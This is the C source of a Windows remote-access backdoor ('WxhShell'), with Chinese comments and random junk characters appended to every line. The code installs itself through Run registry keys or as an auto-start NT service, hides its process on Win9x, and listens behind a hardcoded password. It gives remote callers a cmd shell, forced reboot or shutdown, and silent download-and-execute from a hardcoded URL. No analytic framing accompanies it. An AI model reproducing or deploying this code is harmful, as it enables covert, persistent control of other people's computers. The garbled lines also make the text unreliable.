    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0L \vi  
    if(Boot(SHUTDOWN)) p+;x&h)[l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b(A;mt#N  
    else { ^oEaE#I  
    closesocket(wsh); ~g *`E!2  
    ExitThread(0); /+m7J"Km  
    } @9g!5dcT  
    break; BQ {'r^u  
    } R4XcWx*pQ  
  // 获取shell 5 HN,y  
  case 's': { T'7x,8&2|  
    CmdShell(wsh); R7Ns5s3X  
    closesocket(wsh); N8Un42  
    ExitThread(0); `nL^]i  
    break; }b>e lz  
  } V_9> Z?  
  // 退出 RohD.`D  
  case 'x': { Q[bIkvr|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |99Z& <8f  
    CloseIt(wsh); 84gj%tw'-  
    break; Ws[d.El  
    } _m1WY7  
  // 离开 nVk]Qe  
  case 'q': { u2 U4MV1C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &.:yP3  
    closesocket(wsh); ;{rl Y>  
    WSACleanup(); &_Z8:5e  
    exit(1); =@k 3*#\  
    break; 6K5KkEp  
        } `(L<Q%  
  } e(k$k>?  
  } WhL 1OG  
a;0$fRy  
  // 提示信息 9R|B 5.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .DcuJC=  
} Ay\!ohIS3  
  } Mp^U)S+  
nHB`<B  
  return; yXA]E.K!  
} "#`c\JuR ]  
}q~xr3#  
// shell模块句柄 MP`WU}2  
int CmdShell(SOCKET sock) _ 3>|1RB  
{ m}nA- *  
STARTUPINFO si; 1I U*:Z;Rz  
ZeroMemory(&si,sizeof(si)); Alb5#tm:m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I[I]C9D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zyFbu=d|O:  
PROCESS_INFORMATION ProcessInfo; eC-nV)]I9  
char cmdline[]="cmd"; sJYs{Wm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JOx""R8T5  
  return 0; 2@ f E!  
} umc\x"i%  
!& xc.39  
// 自身启动模式 q\87<=9J  
int StartFromService(void) !_[^%7"S1  
{ J""N:X!1  
typedef struct q,eXH8 x  
{ (?zZvW8  
  DWORD ExitStatus; \J^|H@;(@  
  DWORD PebBaseAddress; QX 393v!  
  DWORD AffinityMask; |h%fi-a:  
  DWORD BasePriority; ZBfB4<M9xS  
  ULONG UniqueProcessId; 5P <  F  
  ULONG InheritedFromUniqueProcessId; -\=kd {*B  
}   PROCESS_BASIC_INFORMATION; 5>[ j^g+@  
dDla?)F  
PROCNTQSIP NtQueryInformationProcess; w~=@+U$f  
t2vo;,^euL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^7% KS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [+v}V ,jb  
D`uOBEX  
  HANDLE             hProcess; M kadl<  
  PROCESS_BASIC_INFORMATION pbi; eEkbD"Q  
Fu !sw]6xx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 79Vp^GG7  
  if(NULL == hInst ) return 0; z|>f*Z  
KwuNHK)-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ni x1_Wo;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &tE#1<k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OQh(qa  
zos#B30  
  if (!NtQueryInformationProcess) return 0; 5%6r,?/7KM  
lGP'OY"Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UBxQ4)%  
  if(!hProcess) return 0; !'EE8Tp~F  
G#A& Y$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sud5F4S  
j8gi/07l  
  CloseHandle(hProcess); 1~#p3)B  
?QXo]X;f&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D2}nJFR ]  
if(hProcess==NULL) return 0; &D~70N\L  
,*@6NK,.  
HMODULE hMod; <U]#722  
char procName[255]; \ >(;t#>  
unsigned long cbNeeded; qZ7/d,w  
%L$P']%t@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 29=L7  
KI="O6 h  
  CloseHandle(hProcess); [bvIT]Z  
 =j1rw  
if(strstr(procName,"services")) return 1; // 以服务启动 Zj8aD-1]U^  
ul$YV9 [\  
  return 0; // 注册表启动 ,fwN_+5  
} ?pv}~>  
O{9h'JU  
// 主模块 l`R/WC  
int StartWxhshell(LPSTR lpCmdLine) K-nf@o+  
{ hOSkxdi*^  
  SOCKET wsl; (9J,Qs[;  
BOOL val=TRUE; cEd!t6Z  
  int port=0; ]='E&=nc  
  struct sockaddr_in door; {<- BU[H  
O5Xu(q5+  
  if(wscfg.ws_autoins) Install(); {^#62Y  
w(9.{zF|vQ  
port=atoi(lpCmdLine); eOQUy +  
kEE8cW3  
if(port<=0) port=wscfg.ws_port; \}e1\MiZ  
YFCP'J"Z  
  WSADATA data; +)fl9>Mb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !:mo2zA  
dviL5Eaj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mu/O\'5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ArUGa(; f  
  door.sin_family = AF_INET; WoiK _Ud  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y3K9rf  
  door.sin_port = htons(port); "oYyeT ,?  
[a*m9F\ ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M"]~}*  
closesocket(wsl);  mq?5|`  
return 1; RYaf{i`  
} 8JUUK(&Z  
!RnO{FL  
  if(listen(wsl,2) == INVALID_SOCKET) { \gL H_$}  
closesocket(wsl); 3~4e\xL  
return 1; & ;+u.X  
} 5B? >.4R  
  Wxhshell(wsl); HhaUC?JtSK  
  WSACleanup(); i(JBBE"  
5xi f0h-`  
return 0; y.~y*c6,g  
tw]RH(g+#  
} cRX0i;zag  
|.Bb Pfe8f  
// 以NT服务方式启动 >'@yq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gaC^<\J  
{ u><gmp&  
DWORD   status = 0; ,iU ]zN//  
  DWORD   specificError = 0xfffffff; HZdmL-1Z^+  
_Va!Ky =]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S"UFT-N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yk9|H)-z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /)xG%J7H  
  serviceStatus.dwWin32ExitCode     = 0; u|7d_3 ::  
  serviceStatus.dwServiceSpecificExitCode = 0; i=-zaboo  
  serviceStatus.dwCheckPoint       = 0; 4XDR?KUM  
  serviceStatus.dwWaitHint       = 0; 9 I> 3p4]  
2@o_7w98  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FG-w7a2mn  
  if (hServiceStatusHandle==0) return; Nf>1`eP  
QtQku1{  
status = GetLastError(); +n]U3b  
  if (status!=NO_ERROR) ]S[zD|U%  
{ ;5A&[]@^^@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a2*WZc`  
    serviceStatus.dwCheckPoint       = 0; {hX. R  
    serviceStatus.dwWaitHint       = 0; dx@#6Fhy  
    serviceStatus.dwWin32ExitCode     = status; R v6{ '\:  
    serviceStatus.dwServiceSpecificExitCode = specificError; W 0Q-&4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X|H%jdta  
    return; su(y*187A  
  } |8h<Ls_  
5f7;pS<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jpqq>Hbg_  
  serviceStatus.dwCheckPoint       = 0; I;L $Nf{v  
  serviceStatus.dwWaitHint       = 0; O k_I}X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EW$ Je  
} =8j;!7 p  
pc5-'; n  
// 处理NT服务事件,比如:启动、停止 SHPaSq'&N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rs:<'A  
{ G.O0*E2V  
switch(fdwControl) 0,(U_+ n  
{ )]!Ps` ,u  
case SERVICE_CONTROL_STOP: rB}UFS)  
  serviceStatus.dwWin32ExitCode = 0; C8y 3T/G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %FQMB  
  serviceStatus.dwCheckPoint   = 0; %lV&QQa  
  serviceStatus.dwWaitHint     = 0; O: sjf?z  
  { K GkzE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tn;e PcU  
  } 6z"fBF  
  return; cn=~}T@~Z  
case SERVICE_CONTROL_PAUSE: =A<kDxqH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dh%C@n:B  
  break; \i "I1xU  
case SERVICE_CONTROL_CONTINUE: yyrCO"eh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0^|)[2m!  
  break; )__vPPko i  
case SERVICE_CONTROL_INTERROGATE: )ye[R^!}  
  break;  ^DVr>u  
}; //:.k#}~B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1&Rz'JQ+  
} Oe^3YOR#j{  
Vy{=Y(cpF2  
// 标准应用程序主函数 SMk{159q&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EKk~~PhW 8  
{ {.z2n>1J{T  
e6k}-<W*q  
// 获取操作系统版本 |t|+pBB  
OsIsNt=GetOsVer(); m1VyYG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WYwsTsG{_  
{LY$  
  // 从命令行安装 Et%s,zeA{2  
  if(strpbrk(lpCmdLine,"iI")) Install(); x'; 6  
<[?oP[ j  
  // 下载执行文件 9C$b^wHd  
if(wscfg.ws_downexe) { 8=T;R&U^M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _+%-WFS|  
  WinExec(wscfg.ws_filenam,SW_HIDE); WhSQ>h!@s  
} ]}8<h5h)  
S3:Pjz}t  
if(!OsIsNt) { 0(Z ER sP  
// 如果时win9x,隐藏进程并且设置为注册表启动 <m`HK.|~  
HideProc(); I_'S|L  
StartWxhshell(lpCmdLine); z*l3O~mZ  
} P 5m{}@g  
else A"\kdxC  
  if(StartFromService()) 4t|g G`QW7  
  // 以服务方式启动 b3MgJT"mN  
  StartServiceCtrlDispatcher(DispatchTable); LSNa  
else %U)/>Z  
  // 普通方式启动 $91c9z;f^  
  StartWxhshell(lpCmdLine); D.j'n-yw  
- P1OD)B  
return 0; ~o= Sxaf  
} oU$Niw9f  
 {IYfq)c  
gf2l19aP  
}/B  
=========================================== ={W;8BUV%^  
"dXRUg"  
4!d&Zc>C4  
Q{UR3U'Q  
Zb8Ty~.\P  
F5wCl2I  
" 234 OJ?  
j@v*q\X&  
#include <stdio.h> IaH8#3+a  
#include <string.h> $s4rG=q  
#include <windows.h> x<"1T w5e  
#include <winsock2.h>  ^vYH"2  
#include <winsvc.h> ]=2Ba<)m  
#include <urlmon.h> K\nN2y  
d47b&.v8e  
#pragma comment (lib, "Ws2_32.lib") &kHp}\  
#pragma comment (lib, "urlmon.lib") Ji :2P*  
 VD;Ot<%  
#define MAX_USER   100 // 最大客户端连接数 V2,54YE  
#define BUF_SOCK   200 // sock buffer PSI5$Vna4p  
#define KEY_BUFF   255 // 输入 buffer GX&BUP\  
H`njKKdR  
#define REBOOT     0   // 重启 >:Na^+c  
#define SHUTDOWN   1   // 关机  &xgMqv2/  
s-}|_g.Pt  
#define DEF_PORT   5000 // 监听端口 JWr:/?  
bA@!0,m  
#define REG_LEN     16   // 注册表键长度 tU >wRw=d  
#define SVC_LEN     80   // NT服务名长度 G6w&C^J*8>  
Z%y>q|:  
// 从dll定义API 2^bq4c4J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a57Y9.H`o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <M B]W`5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m beM/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4{(uw  
X,IjM&o"Y  
// wxhshell配置信息 sHyhR:  
struct WSCFG { ^rfY9qMJr8  
  int ws_port;         // 监听端口 w>p0ldi  
  char ws_passstr[REG_LEN]; // 口令 @v ss:'l  
  int ws_autoins;       // 安装标记, 1=yes 0=no \6-x~%xK  
  char ws_regname[REG_LEN]; // 注册表键名 }tF/ca:XPQ  
  char ws_svcname[REG_LEN]; // 服务名 -GD_xk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 od{Y` .<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^o_2=91  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =dHM)OXD"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d=o|)kV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7cr@;%#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x9Y1v1!5Pu  
$HF. 02{|  
}; +wXrQV  
{(w/_C9  
// default Wxhshell configuration +(x^5~QX  
struct WSCFG wscfg={DEF_PORT, O%H_._#N`  
    "xuhuanlingzhe", l9lBhltOH  
    1, Y;8Ys&/t  
    "Wxhshell", swYlp  
    "Wxhshell", 8*!<,k="9  
            "WxhShell Service", mTz %;+|L  
    "Wrsky Windows CmdShell Service", 0; 2i"mzS\  
    "Please Input Your Password: ", :'91qA%Wr  
  1, D*6v.`]X  
  "http://www.wrsky.com/wxhshell.exe", mcy\nAf5%  
  "Wxhshell.exe" '$YB -  
    }; +>/ariRr  
rdhK&5x*  
// 消息定义模块 =dx!R ,Bw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Db=I3.HJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CL.JalR`b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K#rfQ0QK/!  
char *msg_ws_ext="\n\rExit."; OSQZ5:g|  
char *msg_ws_end="\n\rQuit."; S<rdPS*P  
char *msg_ws_boot="\n\rReboot..."; au@ LQxKQ  
char *msg_ws_poff="\n\rShutdown..."; Ehi)n)HhG"  
char *msg_ws_down="\n\rSave to "; k{;"Aj:iL  
&PVos|G  
char *msg_ws_err="\n\rErr!"; ye:pGa w  
char *msg_ws_ok="\n\rOK!"; /x,gdZPX  
e:fp8 k<  
char ExeFile[MAX_PATH]; b6:A-jb*I  
int nUser = 0; PElC0 qCn[  
HANDLE handles[MAX_USER]; <cNXe4(  
int OsIsNt; WSi`)@.X O  
J( JsfU4  
SERVICE_STATUS       serviceStatus; u~[HC)4(0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fuSfBtLPR#  
^e:C{]S=  
// 函数声明 +%Q:  
int Install(void); t ~ruP',~\  
int Uninstall(void); $}V<U m  
int DownloadFile(char *sURL, SOCKET wsh); zI$^yk-vn  
int Boot(int flag); &E0L7?l  
void HideProc(void); l9KL P  
int GetOsVer(void); }IO<Dq=[  
int Wxhshell(SOCKET wsl); Se<]g$eK?5  
void TalkWithClient(void *cs); +PgUbr[p  
int CmdShell(SOCKET sock); 5LdVcXf  
int StartFromService(void); :,g nOfV=  
int StartWxhshell(LPSTR lpCmdLine); m^0r9y,  
Oo |*q+{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w F6ywr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v,y nz'>)  
g\S@@0T{0  
// 数据结构和表定义 (DJLq  
SERVICE_TABLE_ENTRY DispatchTable[] = :Rv ?>I j  
{ r8g4NsRVtv  
{wscfg.ws_svcname, NTServiceMain}, ;iR( Ir  
{NULL, NULL} Z:DEET!c'k  
}; RO[Ko-m|/N  
J ^gtSn^  
// 自我安装 $&~/`MxE  
int Install(void) O4RNt,?l  
{ ~\kJir  
  char svExeFile[MAX_PATH]; s7.2EkGl=  
  HKEY key; W&CQ87b  
  strcpy(svExeFile,ExeFile); <k?ofE1o  
b~fX=!M  
// 如果是win9x系统,修改注册表设为自启动 ]x1MB|a6  
if(!OsIsNt) { bwo-9B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KiYO,nD;\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1c_gh12  
  RegCloseKey(key); q9fCoz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' QGacV   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9<u^.w  
  RegCloseKey(key); @Gp=9\L  
  return 0; ?PVJeFH  
    } g?N~mca$  
  }  N1,=5P$  
} #=F"PhiX`  
else { uT'_}cw  
qcMVY\gi  
// 如果是NT以上系统,安装为系统服务 i;Cs,Esnf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pm$2*!1F(  
if (schSCManager!=0) ALvj)I`Al  
{ bj23S&  
  SC_HANDLE schService = CreateService \Zc$X^}vN  
  ( V ij P;  
  schSCManager, f0p+l -iEv  
  wscfg.ws_svcname, = ms(dr^n  
  wscfg.ws_svcdisp, dp`xyBQ3  
  SERVICE_ALL_ACCESS, 8|^dM$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ww5c9orXn  
  SERVICE_AUTO_START, 6BM[RL?T  
  SERVICE_ERROR_NORMAL, [ []'U'  
  svExeFile, 0^'A^  
  NULL, MV +R$  
  NULL, vvA=:J4/i)  
  NULL, (t&]u7Atr  
  NULL, j.FA!4L  
  NULL 4w,=6|#  
  ); 5v"r>q[ X  
  if (schService!=0) uD4=1g6[s  
  { ! `5[(lm  
  CloseServiceHandle(schService); pRI<L'  
  CloseServiceHandle(schSCManager); @P=St\;VP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OS8 ^mC  
  strcat(svExeFile,wscfg.ws_svcname); +Qy*s1fit  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~3byAL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <@i.~EL  
  RegCloseKey(key); v{{Cj83S+  
  return 0; dmh6o *  
    } u8ofgcFYE  
  } ^0"^Xk*  
  CloseServiceHandle(schSCManager); T}} 0hs;  
} N]n]7(e+0C  
} *Q2;bmIc  
C!Cg.^;  
return 1; 9~+A<X]Hd  
} 7sP;+G  
O7@CAr  
// 自我卸载 \b {Aj,6,  
int Uninstall(void) u I$| M  
{ \zj _6Os  
  HKEY key; s_]p6M  
$=dp)  
if(!OsIsNt) { V]b1cDx{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &<I*;z6%t  
  RegDeleteValue(key,wscfg.ws_regname); YnnpgR.  
  RegCloseKey(key); gcYx-gA}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { csn/h$`-@  
  RegDeleteValue(key,wscfg.ws_regname); D'V0b"  
  RegCloseKey(key); .K?',x  
  return 0; TU ]Ed*'&  
  } m"Y;GzqQl  
} xml@]N*D#E  
} 49f- u  
else { \s<7!NAE4  
7#n<d879e%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oI=7X*B9  
if (schSCManager!=0) <S~_|Y*v  
{ IOA"O9;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p.KX[I  
  if (schService!=0) M99#\0=/  
  { i`o}*`//  
  if(DeleteService(schService)!=0) { ?DcRD)X  
  CloseServiceHandle(schService); shW$V93<  
  CloseServiceHandle(schSCManager); U3r[ysf  
  return 0; ( Lj{V}^  
  } \)'nxFKqV  
  CloseServiceHandle(schService); >cwyb9;!kK  
  } Z09FW>"u  
  CloseServiceHandle(schSCManager); K/RQ-xd4  
} H5t 9Mg|  
} (H*-b4]/  
216+ tX5Z  
return 1; M=[/v/M=  
} 2m. RM&TdB  
H <CsB  
// 从指定url下载文件 i^P@?  
int DownloadFile(char *sURL, SOCKET wsh) N;,?k.vU  
{ 97:1L4w.(  
  HRESULT hr; * d6[k Y  
char seps[]= "/"; wUzQ`h2  
char *token; "%~\kJ(G  
char *file; v+-f pl&  
char myURL[MAX_PATH]; ps0wN%tA  
char myFILE[MAX_PATH]; f`<j(.{9F  
_3$@s{k-TI  
strcpy(myURL,sURL); <%eY>E  
  token=strtok(myURL,seps); `B+%W  
  while(token!=NULL) yu"Ii-9z  
  { 2}j2Bhc  
    file=token; `mPmEV<  
  token=strtok(NULL,seps); ^_4TDC~h  
  } '^'4C'J  
1@IRx{v$  
GetCurrentDirectory(MAX_PATH,myFILE); uY0V!W  
strcat(myFILE, "\\"); "^-U#f>k  
strcat(myFILE, file); M9Gs^  
  send(wsh,myFILE,strlen(myFILE),0); .4={K)kz|F  
send(wsh,"...",3,0); 5zJkPki  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VlW#_.  
  if(hr==S_OK) Hv%(9)-8  
return 0; `NA[zH,w3  
else D^Dm, -  
return 1; <'A>7M~h?*  
C%d 4ItB >  
} 7}bjJR "  
!- f>*|@  
// 系统电源模块 1A^iUC5)  
int Boot(int flag) N_<sCRd]9  
{ Rde_I`Ru  
  HANDLE hToken; >4TJH lB}8  
  TOKEN_PRIVILEGES tkp; FzmCS@yA  
5A1oZ+C#  
  if(OsIsNt) { Rs B o\#`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EQPZV K/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  iU^ 4a  
    tkp.PrivilegeCount = 1; O;M_?^'W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |)6(_7e9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pg[zRRf<  
if(flag==REBOOT) { QiWv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ':# ?YQ}2  
  return 0; %sC,;^wla'  
} P Y +~,T2  
else {  d$ Mk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ezTu1-m  
  return 0; 1_:1cF{w  
} UwtOlV:G{  
  } Bp\io$(%  
  else { wo2^,Y2z+  
if(flag==REBOOT) { g$VcT\X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o^~6RZ  
  return 0; Gb 61X6  
} O%9Cq}*  
else { 'R*gSqx~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /Nq!^=  
  return 0; T(+F6d=1  
} V5rnI\:7  
} ^7q=E@[e  
$gDp-7  
return 1; n ! qm  
} $N;!. 5lX3  
Lhl) pP17  
// win9x进程隐藏模块 |Ix6D  
void HideProc(void) x$CpUy{6  
{ oT 8  
:{4G= UbAI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6bnAVTL5  
  if ( hKernel != NULL ) ..FUg"sSO  
  { IZ')1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "b%hAdR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2a.NWJS  
    FreeLibrary(hKernel); wlqV1.K  
  } u#p1W|\4  
M)Rp+uQ  
return; ,2JqX>On>Y  
} ~m!>e])P?X  
qq-&z6;$  
// 获取操作系统版本 =D5@PHpv(  
int GetOsVer(void) p@i U}SUaE  
{ X2@mQ&n  
  OSVERSIONINFO winfo; \$;\,p p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =\4w" /Y  
  GetVersionEx(&winfo); 7g ]]>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ulfpop*2  
  return 1; .u7d  
  else QXJD' c  
  return 0; ZC"6B(d  
} VK`_ Qc#B  
W3UK[_qK  
// 客户端句柄模块 CW\o>yh  
int Wxhshell(SOCKET wsl) OpxVy _5,  
{ U]vNcQj  
  SOCKET wsh; (/YC\x?  
  struct sockaddr_in client; mk\U wv  
  DWORD myID; ]&/jvA=\l,  
ibzYY"D:  
  while(nUser<MAX_USER) rShi"Yw  
{ *(?YgV  
  int nSize=sizeof(client); O#O~A |  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yfTnj:Fz  
  if(wsh==INVALID_SOCKET) return 1; x(}tr27o  
8g>jz 8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  >o.u,  
if(handles[nUser]==0) 7vr)JT=  
  closesocket(wsh); TeqFy(Dr  
else "]c:V4S#`A  
  nUser++; S-2xe?sb  
  } ?Tuh22J{Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bDUGzezP<  
s+zb[3}  
  return 0; 7]e]Y>wZap  
} 6/4OFvL1  
5mSXf"R^  
// 关闭 socket N)poe2[  
void CloseIt(SOCKET wsh) ]`m|A1(  
{ @2$PU{dH  
closesocket(wsh); [-6j4D  
nUser--; qgZ(o@\  
ExitThread(0); !YJdi~q  
} AX'(xb,  
}i[i{lKj  
// 客户端请求句柄 t ?bq ~!X  
void TalkWithClient(void *cs) /SMp`Q88  
{ S\0"G*  
:\80*[=;Z  
  SOCKET wsh=(SOCKET)cs; yr sP'th  
  char pwd[SVC_LEN]; _9n.ir5YX  
  char cmd[KEY_BUFF]; u x:,io  
char chr[1]; S<p "k]  
int i,j; sK?[ 1BI  
?rBj{]=  
  while (nUser < MAX_USER) { 8(3vNuyP  
1&jX~'  
if(wscfg.ws_passstr) { 44%::Oh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >5^Z'!Z"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [*}[W6 3v  
  //ZeroMemory(pwd,KEY_BUFF); ;/oMH/,U8  
      i=0; {qLnwy!i  
  while(i<SVC_LEN) { Mqc[IAcd]  
9!9 Gpi  
  // 设置超时 uaU!V4-  
  fd_set FdRead; &7@6Y{!/  
  struct timeval TimeOut; 6bb=;  
  FD_ZERO(&FdRead); VKN^gz  
  FD_SET(wsh,&FdRead); K03a@:  
  TimeOut.tv_sec=8; <S\S @3  
  TimeOut.tv_usec=0; ).tZMLM/-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TP^.]I O-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %J|EDf ,M  
8l='Hl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kOtC(\]5  
  pwd=chr[0]; Mm6 (Q  
  if(chr[0]==0xd || chr[0]==0xa) { 7FMHz.ZRE  
  pwd=0; %{}Jr`  
  break; 3tr?-l[N\  
  } $ng\qJ"HF  
  i++; ];uvE? 55  
    } x[(2}Qd  
J puW !I  
  // 如果是非法用户,关闭 socket >Y2Rr9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3[V|C=u0  
} 3Ji,n;QLm  
*f4KmiQ~ %  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M/1Q/;0P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4&y_+  
L\-T[w),z7  
while(1) { q>Q|:g&:  
siD Sm  
  ZeroMemory(cmd,KEY_BUFF); W1: o2 C7  
8tdUnh%/  
      // 自动支持客户端 telnet标准   Upv2s:wa}z  
  j=0; pg>P]a{  
  while(j<KEY_BUFF) { CiMy_`H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3i s .c)  
  cmd[j]=chr[0]; cA/2,i  
  if(chr[0]==0xa || chr[0]==0xd) { dUe"qH29s  
  cmd[j]=0; _puQX@i  
  break; gsU&}R1*h  
  } *g=*}2  
  j++; D6ck1pxkx  
    } x65e,'  
QPFpGS{d  
  // 下载文件 !4 hs9b  
  if(strstr(cmd,"http://")) { @x=CMF15  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "n8_Ag@r  
  if(DownloadFile(cmd,wsh)) ;l`8w3fDt  
